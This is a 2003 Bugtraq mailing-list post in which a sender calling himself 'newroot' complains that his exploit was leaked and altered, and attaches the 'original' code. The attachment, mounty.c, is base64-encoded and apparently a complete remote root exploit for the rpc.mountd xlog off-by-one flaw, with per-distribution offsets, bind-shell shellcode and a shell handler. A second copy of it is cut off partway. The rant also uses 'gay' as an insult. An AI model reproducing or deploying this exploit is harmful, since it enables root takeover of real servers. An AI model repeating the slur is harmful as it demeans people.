[31641] in bugtraq

home help back first fref pref prev next nref lref last post

Lun_mountd.c vs mounty.c

daemon@ATHENA.MIT.EDU (Tobias Klein)
Wed Sep 17 18:00:45 2003

Message-Id: <5.2.0.9.0.20030917153250.0387e338@pop3-1.ewetel.net>
Date: Wed, 17 Sep 2003 15:41:11 +0200
To: bugtraq@securityfocus.com, vulnwatch@securityfocus.com,
        full-disclosure@lists.netsys.com, vuln-dev@securityfocus.com
From: Tobias Klein <tobias.klein@ewetel.de>
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="=====================_25697562==_"

--=====================_25697562==_
Content-Type: text/plain; charset="us-ascii"; format=flowed

frew min ago i was browsing packetstorm and i cant belive my eyes
anyone has changed a half haeder of my code and disclosures it to packetstorm

i cant understand why pplz does that
are they not able to got there own skills
i have investigate many hours to write this code and it should never released
but some sucker leaked it and some other gay changes the half haeder and
disclosures it

attached is the ORGINAL EXPLOIT code i wrote months ago

newroot
--=====================_25697562==_
Content-Type: text/plain; name="mounty.c";
 x-mac-type="42494E41"; x-mac-creator="74747874"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mounty.c"

LyoKICogVU5QVUJMSVNIRUQgU09VUkNFIENPREUgKioqIFVOUFVCTElTSEVEIFNPVVJDRSBDT0RF
ICoqKiBVTlBVQkxJU0hFRCBTT1VSQ0UgQ09ERSAqKioKICogUHJpdmF0ZSByZXNlYXJjaCBtYXRy
aWFsIHlvdSBkb250IHNob3VsdCB0byBoYXZlIHRoaXMgISEhCiAqCiAqIHJlbW90ZSBycGMubW91
bnRkIGV4cGxvaXQgZm9yIHRoZSByZWNlbnQgeGxvZyB2dW5sCiAqIHdyaXR0ZW4gYnkgbmV3cm9v
dCA6KQogKgogKiBhdHRhY2hlZCBpcyBhIGZ1bGwgd29ya2luZyBSRU1PVEUgUk9PVCBFWFBMT0lU
IGZvciBhbnkgZGViaWFucyBycGMubW91bnRkCiAqIHRoYXRzIGNvbXBpbGVkIHdpdGggZ2NjIDIu
OTUuNAogKgogKiBpdmUgd3JpdHRlbiB0aGlzIGNvdXNlIHRoZSBzZWN1cml0eSBpbmR1c3RyeSBo
YXMgc3RvbGVuIG91ciB3b25kZXJmdWwgb2ZmIGJ5IG9uZSBidWdzCiAqIG1heWJlZSBpdHMgdGhl
IGxhc3QgdGltZSBpIGV4cGxvaXQgb25lIG9mIHRoZSB3b25kZXJmdWxsIG9mLWJ5LW9uZXMKICog
CiAqIHNvIGdyZWV0aW5ncyBnb2VzIGZpcnN0IHRvOgogKiAJCUphbnVzeiBOaWV3aWFkb21za2kJ
LS0JZm91bmRlciBvZiB0aGUgYnVnIChwdWJsaWMpIAogKiAJCWtsb2cJCQktLSAJYnJvdWd0IHVz
IHRoZSBvZmYgYnkgb25lIHRlY2huaXFlCiAqIAkJXnNxCQkJLS0gCWZvdW5kcyBzb21lIGJ1Z3Mg
aW4gdGhlIHhwbG9pdGNvZGUgYW5kIGJyaW5ncyB1cyBtb3JlIG9mZnNldHMKICogCQlzb3JibwkJ
CS0tIAlpIHJlY29kZSBteSBleHBsb2l0IGFzIGkgc2F3IGhpcyB4ZHIgdGhpbmdzCiAqCQkJCQkJ
c28gbWFueSBjcmVkaXR6IGdvZXMgdG8gaGltIAogKiBuZXdyb290IC0tIFt3d3cubmV3cm9vdC5k
ZV0KICoKICovCgoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1
ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0
Lmg+CiNpbmNsdWRlIDxzeXMvdGltZS5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVk
ZSA8bmV0ZGIuaD4KI2luY2x1ZGUgPGVycm5vLmg+CiNpbmNsdWRlIDxycGMvcnBjLmg+CiNpbmNs
dWRlIDxycGMvY2xudC5oPgojaW5jbHVkZSA8cnBjL3hkci5oPgojaW5jbHVkZSA8cnBjc3ZjL21v
dW50Lmg+CgojZGVmaW5lIEJVRlNJWkUJMTAyNAojZGVmaW5lIEFMSUdOCTEKCmludCBjb25uZWN0
X2hvc3QoY2hhciAqLCBpbnQpOwp2b2lkIHNoZWxsKGludCk7CnZvaWQgZG9feHAoY2hhciAqLCBp
bnQpOwoKCmV4dGVybiBjaGFyICpvcHRhcmc7CmV4dGVybiBpbnQgb3B0aW5kLCBvcHRlcnIsIG9w
dG9wdDsKCnN0cnVjdCBfdGFyZ2V0cyB7CiAgICAgICAgY2hhciBkZXNjWzIwNDhdOwoJaW50IGFs
aWduOwoJdW5zaWduZWQgbG9uZyByZXRfbG9jOwoJdW5zaWduZWQgbG9uZyByZXRfYWRkcjsKfSB0
YXJnZXRzW10gPSB7CiAgICAgICAgeyAiZGV2ZWwiLAoJICAxLAoJICAweGJmZmZlMDAwLAogICAg
ICAgICAgMHg2NjY2NjY2NgogICAgICAgIH0sCiAgICAgICAgeyAiRGViaWFuIDMuMCh4ODYpIiwK
CSAgMSwKCSAgMHhiZmZmZTAwMCwKICAgICAgICAgIDB4MDgwNWIwMTgKICAgICAgICB9LAoJeyAi
U2xhY2t3YXJlIDguMSh4ODYpIiwKCSAgMywKICAgICAgICAgIDB4YmZmZmRmMDAsCiAgICAgICAg
ICAweDA4MDVkMTdjCiAgICAgICAgfSwKICAgICAgICB7ICJSZWRoYXQgNi4yKHg4NikiLAogICAg
ICAgICAgMywKICAgICAgICAgIDB4YmZmZmUzMDAsCiAgICAgICAgICAweDA4MDVkOGY4Cgl9LAog
ICAgICAgIHsgMHgwMCwgMHgwMCAsIDB4MDB9Cn07CgpzdHJ1Y3QgZmFrZWNodW5rCnsKICB1aW50
MzJfdCBwcmV2X3NpemU7CiAgdWludDMyX3Qgc2l6ZTsKICB1aW50MzJfdCBqdW5rOwogIHVpbnQz
Ml90IGJrOwogIHVpbnQzMl90IGZkOwp9OwoKaW50IHZlcmJvc2U7ICAgICAgICAgICAgLyogZXh0
cmEgb3V0cHV0ICovCmludCBhbGlnbjsJCS8qIHBhZGRpbmcgKi8KaW50IHQ7ICAgICAgICAgICAg
ICAgICAgLyogdGFyZ2V0bnVtYmVyICovCnVuc2lnbmVkIGxvbmcgcmV0X2FkZHI7CnVuc2lnbmVk
IGxvbmcgcmV0X2xvYzsKCgp1bnNpZ25lZCBjaGFyIHNoZWxsY29kZVtdID0KICAgICAgICAvLyBw
b3J0IDEyMzIxIC0gbGludXggc2hlbGxjb2RlCgkgICJceGViXHgwYSIiZG9udCB0ZWxsISIgCiAg
ICAgICAgICAiXHg1NVx4ODlceGU1XHgzMVx4YzBceDY2XHhjN1x4NDVceGYyXHgzMCIKICAgICAg
ICAgICJceDIxXHg4OVx4NDVceGY0XHg4OVx4NDVceGY4XHg4OVx4NDVceGZjIgogICAgICAgICAg
Ilx4ODlceDQ1XHhlOFx4ZmVceGMwXHg4OVx4YzNceDg5XHg0NVx4ZTQiCiAgICAgICAgICAiXHhm
ZVx4YzBceDY2XHg4OVx4NDVceGYwXHg4OVx4NDVceGUwXHhiMCIKICAgICAgICAgICJceDY2XHg4
ZFx4NGRceGUwXHhjZFx4ODBceDg5XHg0NVx4ZTBceGIwIgogICAgICAgICAgIlx4NjZceGZlXHhj
M1x4OGRceDU1XHhmMFx4ODlceDU1XHhlNFx4MzEiCiAgICAgICAgICAiXHhkMlx4YjJceDQyXHg4
MFx4ZWFceDMyXHg4OVx4NTVceGU4XHg4ZCIKICAgICAgICAgICJceDRkXHhlMFx4Y2RceDgwXHhi
MFx4NjZceGZlXHhjM1x4ZmVceGMzIgogICAgICAgICAgIlx4ZmVceGMzXHg4OVx4NWRceGU0XHhm
ZVx4Y2JceDhkXHg0ZFx4ZTAiCiAgICAgICAgICAiXHhjZFx4ODBceGIwXHg2Nlx4ZmVceGMzXHgz
MVx4ZDJceDg5XHg1NSIKICAgICAgICAgICJceGU0XHg4ZFx4NGRceGUwXHhjZFx4ODBceDg5XHhk
OVx4ODlceGMzIgogICAgICAgICAgIlx4ZmVceGM5XHhmZVx4YzlceGZlXHhjOVx4MzFceGMwXHhi
MFx4M2YiCiAgICAgICAgICAiXHhjZFx4ODBceGZlXHhjMVx4ZTJceGY0XHg1MVx4NjhceDZlXHgy
ZiIKICAgICAgICAgICJceDczXHg2OFx4NjhceDJmXHgyZlx4NjJceDY5XHg4OVx4ZTNceDUxIgog
ICAgICAgICAgIlx4ODlceGUyXHg1M1x4ODlceGUxXHgzMVx4YzBceGIwXHgzZFx4MmMiCiAgICAg
ICAgICAiXHgzMlx4Y2RceDgwIjsKCgp2b2lkIGhlbHAgKCkgewogICAgICAgIGZwcmludGYgKHN0
ZGVyciwgInJlbW90ZSBycGMubW91bnRkIGV4cGxvaXRcbiIpOwogICAgICAgIGZwcmludGYgKHN0
ZGVyciwgIndyaXR0ZW4gYnkgbmV3cm9vdFxuIik7CiAgICAgICAgZnByaW50ZiAoc3RkZXJyLCAi
LS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iKTsKICAgICAgICBmcHJpbnRmIChzdGRlcnIsICJ1c3Nh
Z2U6ICVzIFtvcHRpb25zXSAgPGRlc3Q+XG5cbiIsICJtb3VudHkiKTsKICAgICAgICBmcHJpbnRm
IChzdGRlcnIsICJvcHRpb25zIGFyZTpcbiIpOwogICAgICAgIGZwcmludGYgKHN0ZGVyciwgIlx0
LXQgPG51bT5cdCMgdGFyZ2V0IHR5cGUgdXNlIDAgZm9yIGxpc3RcbiIpOwogICAgICAgIGZwcmlu
dGYgKHN0ZGVyciwgIlx0LWEgPG51bT5cdCMgYWxpZ25cbiIpOwogICAgICAgIGZwcmludGYgKHN0
ZGVyciwgIlx0LWwgPGxvYz5cdCMgcmV0dXJuIGxvY2FsdGlvbiAweGRlYWRmYWNlXG4iKTsKICAg
ICAgICBmcHJpbnRmIChzdGRlcnIsICJcdC1iIDxhZGR5Plx0IyByZXR1cm4gYWRyZXNzICAgIDB4
ZGVhZGZhY2VcbiIpOwogICAgICAgIGZwcmludGYgKHN0ZGVyciwgIlx0LXZcdFx0IyB2ZXJib3Nl
IG91dHB1dFxuXG4iKTsKfQoKdm9pZCBwcmludF90YXJnZXRzICgpIHsKICAgICAgICBpbnQgaTsK
CiAgICAgICAgZnByaW50ZiAoc3Rkb3V0LCAiU3VwcG9ydGVkIHRhcmdldHM6XG4iKTsKICAgICAg
ICBmb3IgKGk9MDsgdGFyZ2V0c1tpXS5yZXRfYWRkciAhPSAwOyBpKyspIHsKICAgICAgICAgICAg
ICAgIGZwcmludGYgKHN0ZG91dCwgIlx0JWkpIC0gJXNcbiIsIGkrMSwgIHRhcmdldHNbaV0uZGVz
Yyk7CiAgICAgICAgfQp9CgoKCmludCBjb25uZWN0X2hvc3QoY2hhciAqIGhvc3QsaW50IHBvcnQp
CnsKICAgICAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gYWRkcjsKICAgICAgICBzdHJ1Y3QgaG9zdGVu
dCAqaGU7CiAgICAgICAgaW50IHNvY2s7CgogICAgICAgIGhlPWdldGhvc3RieW5hbWUoaG9zdCk7
CgogICAgICAgIGlmIChoZT09TlVMTCkgcmV0dXJuIEVYSVRfRkFJTFVSRTsKICAgICAgICBzb2Nr
PXNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApOwogICAgICAgIGlmIChz
b2NrPT0tMSkgcmV0dXJuIEVYSVRfRkFJTFVSRTsKCiAgICAgICAgbWVtY3B5KCZhZGRyLnNpbl9h
ZGRyLCBoZS0+aF9hZGRyLCBoZS0+aF9sZW5ndGgpOwoKICAgICAgICBhZGRyLnNpbl9mYW1pbHk9
QUZfSU5FVDsKICAgICAgICBhZGRyLnNpbl9wb3J0PWh0b25zKHBvcnQpOwoKICAgICAgICBpZihj
b25uZWN0KHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikmYWRkciwgc2l6ZW9mKGFkZHIpKSA9PSAt
MSkgc29jaz0tMTsKICAgICAgICByZXR1cm4gc29jazsKfQoKdm9pZCBzaGVsbChpbnQgdGhlc29j
aykKewogICAgICAgIGZkX3NldCAgZmRzOwogICAgICAgIGNoYXIgYnVmZlsxMDI0XSwgKmNtZD0i
L2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI7CiAgICAgICAgaW50IG47CgogICAgICAgIEZE
X1pFUk8oJmZkcyk7CiAgICAgICAgRkRfU0VUKHRoZXNvY2ssICZmZHMpOwogICAgICAgIEZEX1NF
VCgwLCAmZmRzKTsKCiAgICAgICAgc2VuZCh0aGVzb2NrLCBjbWQsIHN0cmxlbihjbWQpLCAwKTsK
ICAgICAgICB3aGlsZSgxKSB7CiAgICAgICAgICAgICAgICBGRF9TRVQodGhlc29jaywmZmRzKTsK
ICAgICAgICAgICAgICAgIEZEX1NFVCgwLCZmZHMpOwoKICAgICAgICAgICAgICAgIGlmKHNlbGVj
dCh0aGVzb2NrKzEsJmZkcywgTlVMTCwgTlVMTCwgTlVMTCk8MCkKICAgICAgICAgICAgICAgICAg
ICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBpZiggRkRfSVNTRVQodGhlc29jaywgJmZkcykg
KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEobj1yZWN2KHRoZXNvY2ssYnVmZixzaXpl
b2YoYnVmZiksMCkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdChFWElU
X0ZBSUxVUkUpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAg
ICAgIGlmICghd3JpdGUgKDEsIGJ1ZmYsIG4pKQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICggRkRfSVNT
RVQoMCwgJmZkcykgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG4gPSByZWFkICgwLCBidWZm
LCBzaXplb2YoYnVmZikpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihuIDw9IDApewogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCJFT0ZcbiIpOwogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoRVhJVF9GQUlMVVJFKTsKICAgICAgICAg
ICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZihzZW5kKHRoZXNvY2ss
YnVmZixuLDApPDApIGJyZWFrOwogICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZw
cmludGYoc3RkZXJyLCJkb25lLlxuIik7CiAgICAgICAgZXhpdChFWElUX1NVQ0NFU1MpOwp9CgoK
LyoqIHRyaWNrIGZyb20gc29yYm9zIG9uZSBjcmVkaXR6IHRvIGhpbSoqLwpib29sX3QgeGRyX2Rp
cnBhdGgoWERSICp4ZHJzLCBkaXJwYXRoICpvYmpwKSB7CiAgIHJldHVybiB4ZHJfc3RyaW5nKHhk
cnMsIG9ianAsIE1OVFBBVEhMRU4pOwp9CgoKCnZvaWQgZG9feHAoY2hhciAqaG9zdCwgaW50IHQp
IHsKCWludCB0aGVzb2NrOwoJc3RydWN0IHNvY2thZGRyX2luIHNpbjsKCXN0cnVjdCBob3N0ZW50
ICpoZTsKCXN0cnVjdCB0aW1ldmFsIHR2OwoJQ0xJRU5UICpjbGllbnQ7CS8qIHJwYy9jbG50Lmgg
Ki8KCWRpcnBhdGgJRElSOwoJZmhzdGF0dXMgKmZoOwoJc3RydWN0IGZha2VjaHVuayBjaHVuazsK
CWludCAgKnB0cjsKCWNoYXIgcGF5bG9hZFtCVUZTSVpFKzFdOwoKCWNodW5rLnByZXZfc2l6ZSA9
ICAgICAgICAweGZmZmZmZmZjOwoJY2h1bmsuc2l6ZSAgICAgID0gICAgICAgIDB4ZmZmZmZmZmM7
CgljaHVuay5qdW5rICAgICAgPSAgICAgICAgMHhiZmZmZmZhMTsKCgltZW1zZXQgKHBheWxvYWQs
IDB4NDEsIHNpemVvZihwYXlsb2FkKSk7CglwYXlsb2FkWzBdID0gJy8nOwoJcGF5bG9hZFtCVUZT
SVpFXT0gMHgwMDsKCgkKCWZvcihwdHIgPSAoaW50ICopKChjaGFyKilwYXlsb2FkK3RhcmdldHNb
dF0uYWxpZ24rMzAwKTsKCQkJcHRyIDwgKGludCopKHBheWxvYWQrc2l6ZW9mKHBheWxvYWQpLTYp
OyBwdHIrKykKCXsKCQkqcHRyID0gdGFyZ2V0c1t0XS5yZXRfYWRkcis0Kzg7ICAgICAgIAoJfQoK
CQoJY2h1bmsuYmsgPSAodGFyZ2V0c1t0XS5yZXRfbG9jKSs0LTEyOwoJY2h1bmsuZmQgPSAodGFy
Z2V0c1t0XS5yZXRfYWRkcikrNDA7CiAgICAgICAgbWVtY3B5KHBheWxvYWQrNCwmY2h1bmssc2l6
ZW9mKGNodW5rKSk7CiAgICAgICAgbWVtY3B5KHBheWxvYWQrNDAsc2hlbGxjb2RlLHN0cmxlbihz
aGVsbGNvZGUpKTsKCiAgICAgICAgaGU9Z2V0aG9zdGJ5bmFtZShob3N0KTsKCiAgICAgICAgaWYg
KGhlPT1OVUxMKSBleGl0KEVYSVRfRkFJTFVSRSk7CiAgICAgICAgbWVtY3B5KCZzaW4uc2luX2Fk
ZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7CglzaW4uc2luX3BvcnQgPSAwOwoJc2luLnNp
bl9mYW1pbHkgPSBBRl9JTkVUOwoKCiAgICAgICAJZnByaW50ZiAoc3Rkb3V0LCAiWypdIHRhcmdl
dCBob3N0OiAlc1xuIiwgaG9zdCk7CiAgICAgICAJZnByaW50ZiAoc3Rkb3V0LCAiWypdIHRhcmdl
dCBpcCAgOiAlc1xuIiwgaW5ldF9udG9hKHNpbi5zaW5fYWRkci5zX2FkZHIpKTsKCQoJdGhlc29j
ayA9IFJQQ19BTllTT0NLOwoJY2xpZW50ID0gY2xudHRjcF9jcmVhdGUoJnNpbiwgTU9VTlRQUk9H
LCBNT1VOVFZFUlMsICZ0aGVzb2NrLCAwLCAwKTsKCWlmICghY2xpZW50KSB7CiAgICAgICAJZnBy
aW50ZiAoc3Rkb3V0LCAiWy1dIEV4cGxvaXQgRmFpbGVkIVxuIik7CgkJZXhpdCAoRVhJVF9GQUlM
VVJFKTsKCX0KCWNsaWVudC0+Y2xfYXV0aCA9IGF1dGh1bml4X2NyZWF0ZV9kZWZhdWx0KCk7CgoJ
dHYudHZfc2VjID0gNjsKCXR2LnR2X3VzZWMgPSAwOwoJRElSID0gcGF5bG9hZDsKCiAgICAgICAJ
ZnByaW50ZiAoc3Rkb3V0LCAiWypdIFNlbmRpbmcgZXhwbG9pdCFcbiIpOwoJLy8gZmggPSBtb3Vu
dHByb2NfbW50XzEgKCZESVIsIGNsaWVudCk7CglpZihjbG50X2NhbGwoY2xpZW50LCBNT1VOVFBS
T0NfTU5ULCAoeGRycHJvY190KSB4ZHJfZGlycGF0aCwgCgkJCQkodm9pZCAqKSZESVIsKHhkcnBy
b2NfdCkgeGRyX3ZvaWQsIE5VTEwsdHYpID09IFJQQ19TVUNDRVNTKSB7CgkgCWV4aXQoRVhJVF9G
QUlMVVJFKTsKICAgICAgICAgfQp9CgppbnQgbWFpbiAoaW50IGFyZ2MsIGNoYXIgKiphcmd2KSB7
CgljaGFyIGM7CglpbnQgb3B0ZXJyID0gMDsKCWludCB0aGVzb2NrOwoKICAgICAgICB3aGlsZSAo
KGMgPSBnZXRvcHQoYXJnYywgYXJndiwgInQ6YTpsOmI6dmgiKSkgIT0gRU9GKSB7CiAgICAgICAg
ICAgICAgICBzd2l0Y2ggKGMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAndCc6CiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdCA9IGF0b2kgKG9wdGFyZyk7CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHQgPT0gMCkgewogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgcHJpbnRfdGFyZ2V0cygpOwogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEVYSVRfU1VDQ0VTUzsKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB9IGVsc2UgeyAtLXQ7IH0KICAgICAgICAgICAgICAgICAgICAgICAg
YnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdhJzoKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBhbGlnbiA9IGF0b2kgKG9wdGFyZyk7CiAgICAgICAgICAgICAgICAg
ICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbCc6CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBzc2NhbmYgKG9wdGFyZywgIiV4IiAsICZyZXRfbG9jKTsK
ICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgICAgICAgICBj
YXNlICdiJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNzY2FuZiAob3B0YXJnLCAi
JXgiICwgJnJldF9hZGRyKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAg
ICAgICAgICAgICAgICAgICBjYXNlICd2JzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICArK3ZlcmJvc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWxw
ICgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBFWElUX1NVQ0NFU1M7
CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAg
IH0KCiAgICAgICAgaWYgKGFyZ2MgPCAyICkgewogICAgICAgICAgICAgICAgaGVscCgpOwogICAg
ICAgICAgICAgICAgcmV0dXJuIEVYSVRfRkFJTFVSRTsKICAgICAgICB9CgoJZnByaW50ZiAoc3Rk
ZXJyLCAicnBjLm1vdW50ZCByZW1vdGUgZXhwbG9pdCAtLSB3cml0dGVuIGJ5IG5ld3Jvb3QhXG4i
KTsKICAgICAgICBmcHJpbnRmKHN0ZG91dCwgIlsqXSBPayBnb2luZyB0byBleHBsb2l0IHNvbWV0
aGluZy4uLlxuIik7CgoJaWYgKHJldF9sb2MpIHsKCQlpZiAodmVyYm9zZSkgewoJCQlwcmludGYg
KCJbKl0gc2V0dGluZyByZXR1cm4tbG9jYXRpb24gdG8gJSN4XG4iLCByZXRfbG9jKTsKCQl9CgkJ
dGFyZ2V0c1t0XS5yZXRfbG9jID0gcmV0X2xvYzsKCX0KCWlmIChyZXRfYWRkcikgewoJCWlmICh2
ZXJib3NlKSB7CgkJCXByaW50ZiAoIlsqXSBzZXR0aW5nIHJldHVybi1hZHJlc3MgIHRvICUjeFxu
IiwgcmV0X2FkZHIpOwoJCX0KCQl0YXJnZXRzW3RdLnJldF9hZGRyID0gcmV0X2FkZHI7Cgl9Cglp
ZiAoYWxpZ24pIHsKCQlpZiAodmVyYm9zZSkgewoJCQlwcmludGYgKCJbKl0gYWxpZ24gdG8gJSN4
XG4iLCBhbGlnbik7CgkJfQoJCXRhcmdldHNbdF0uYWxpZ24gPSBhbGlnbjsKCX0KCWRvX3hwKGFy
Z3ZbKGFyZ2MtMSldLCB0KTsKCXRoZXNvY2sgPSBjb25uZWN0X2hvc3QgKGFyZ3ZbYXJnYy0xXSwg
MTIzMjEpOwogICAgICAgIGlmICh0aGVzb2NrID4gMykgewoJCSBmcHJpbnRmKHN0ZG91dCwgIlsq
XSBFeHBsb2l0IHN1Y2Nlc3NmdWwgISEhXG4iKTsKCSAgICAgICAgIGZwcmludGYoc3Rkb3V0LCAi
WypdIHdhaXRpbmcgZm9yIHNoZWxsIC4uLlxuIik7CgkgICAgICAgICBzaGVsbCh0aGVzb2NrKTsK
CSB9IGVsc2UgewoJCWZwcmludGYoc3RkZXJyLCAiWy1dIEZhaWxlZCFcbiIpOwoJCXJldHVybiBF
WElUX0ZBSUxVUkU7CgkgfQkKCglyZXR1cm4gRVhJVF9TVUNDRVNTOwp9Cg==
--=====================_25697562==_
Content-Type: text/plain; name="mounty.c";
 x-mac-type="42494E41"; x-mac-creator="74747874"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mounty.c"

LyoKICogVU5QVUJMSVNIRUQgU09VUkNFIENPREUgKioqIFVOUFVCTElTSEVEIFNPVVJDRSBDT0RF
ICoqKiBVTlBVQkxJU0hFRCBTT1VSQ0UgQ09ERSAqKioKICogUHJpdmF0ZSByZXNlYXJjaCBtYXRy
aWFsIHlvdSBkb250IHNob3VsdCB0byBoYXZlIHRoaXMgISEhCiAqCiAqIHJlbW90ZSBycGMubW91
bnRkIGV4cGxvaXQgZm9yIHRoZSByZWNlbnQgeGxvZyB2dW5sCiAqIHdyaXR0ZW4gYnkgbmV3cm9v
dCA6KQogKgogKiBhdHRhY2hlZCBpcyBhIGZ1bGwgd29ya2luZyBSRU1PVEUgUk9PVCBFWFBMT0lU
IGZvciBhbnkgZGViaWFucyBycGMubW91bnRkCiAqIHRoYXRzIGNvbXBpbGVkIHdpdGggZ2NjIDIu
OTUuNAogKgogKiBpdmUgd3JpdHRlbiB0aGlzIGNvdXNlIHRoZSBzZWN1cml0eSBpbmR1c3RyeSBo
YXMgc3RvbGVuIG91ciB3b25kZXJmdWwgb2ZmIGJ5IG9uZSBidWdzCiAqIG1heWJlZSBpdHMgdGhl
IGxhc3QgdGltZSBpIGV4cGxvaXQgb25lIG9mIHRoZSB3b25kZXJmdWxsIG9mLWJ5LW9uZXMKICog
CiAqIHNvIGdyZWV0aW5ncyBnb2VzIGZpcnN0IHRvOgogKiAJCUphbnVzeiBOaWV3aWFkb21za2kJ
LS0JZm91bmRlciBvZiB0aGUgYnVnIChwdWJsaWMpIAogKiAJCWtsb2cJCQktLSAJYnJvdWd0IHVz
IHRoZSBvZmYgYnkgb25lIHRlY2huaXFlCiAqIAkJXnNxCQkJLS0gCWZvdW5kcyBzb21lIGJ1Z3Mg
aW4gdGhlIHhwbG9pdGNvZGUgYW5kIGJyaW5ncyB1cyBtb3JlIG9mZnNldHMKICogCQlzb3JibwkJ
CS0tIAlpIHJlY29kZSBteSBleHBsb2l0IGFzIGkgc2F3IGhpcyB4ZHIgdGhpbmdzCiAqCQkJCQkJ
c28gbWFueSBjcmVkaXR6IGdvZXMgdG8gaGltIAogKiBuZXdyb290IC0tIFt3d3cubmV3cm9vdC5k
ZV0KICoKICovCgoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1
ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0
Lmg+CiNpbmNsdWRlIDxzeXMvdGltZS5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVk
ZSA8bmV0ZGIuaD4KI2luY2x1ZGUgPGVycm5vLmg+CiNpbmNsdWRlIDxycGMvcnBjLmg+CiNpbmNs
dWRlIDxycGMvY2xudC5oPgojaW5jbHVkZSA8cnBjL3hkci5oPgojaW5jbHVkZSA8cnBjc3ZjL21v
dW50Lmg+CgojZGVmaW5lIEJVRlNJWkUJMTAyNAojZGVmaW5lIEFMSUdOCTEKCmludCBjb25uZWN0
X2hvc3QoY2hhciAqLCBpbnQpOwp2b2lkIHNoZWxsKGludCk7CnZvaWQgZG9feHAoY2hhciAqLCBp
bnQpOwoKCmV4dGVybiBjaGFyICpvcHRhcmc7CmV4dGVybiBpbnQgb3B0aW5kLCBvcHRlcnIsIG9w
dG9wdDsKCnN0cnVjdCBfdGFyZ2V0cyB7CiAgICAgICAgY2hhciBkZXNjWzIwNDhdOwoJaW50IGFs
aWduOwoJdW5zaWduZWQgbG9uZyByZXRfbG9jOwoJdW5zaWduZWQgbG9uZyByZXRfYWRkcjsKfSB0
YXJnZXRzW10gPSB7CiAgICAgICAgeyAiZGV2ZWwiLAoJICAxLAoJICAweGJmZmZlMDAwLAogICAg
ICAgICAgMHg2NjY2NjY2NgogICAgICAgIH0sCiAgICAgICAgeyAiRGViaWFuIDMuMCh4ODYpIiwK
CSAgMSwKCSAgMHhiZmZmZTAwMCwKICAgICAgICAgIDB4MDgwNWIwMTgKICAgICAgICB9LAoJeyAi
U2xhY2t3YXJlIDguMSh4ODYpIiwKCSAgMywKICAgICAgICAgIDB4YmZmZmRmMDAsCiAgICAgICAg
ICAweDA4MDVkMTdjCiAgICAgICAgfSwKICAgICAgICB7ICJSZWRoYXQgNi4yKHg4NikiLAogICAg
ICAgICAgMywKICAgICAgICAgIDB4YmZmZmUzMDAsCiAgICAgICAgICAweDA4MDVkOGY4Cgl9LAog
ICAgICAgIHsgMHgwMCwgMHgwMCAsIDB4MDB9Cn07CgpzdHJ1Y3QgZmFrZWNodW5rCnsKICB1aW50
MzJfdCBwcmV2X3NpemU7CiAgdWludDMyX3Qgc2l6ZTsKICB1aW50MzJfdCBqdW5rOwogIHVpbnQz
Ml90IGJrOwogIHVpbnQzMl90IGZkOwp9OwoKaW50IHZlcmJvc2U7ICAgICAgICAgICAgLyogZXh0
cmEgb3V0cHV0ICovCmludCBhbGlnbjsJCS8qIHBhZGRpbmcgKi8KaW50IHQ7ICAgICAgICAgICAg
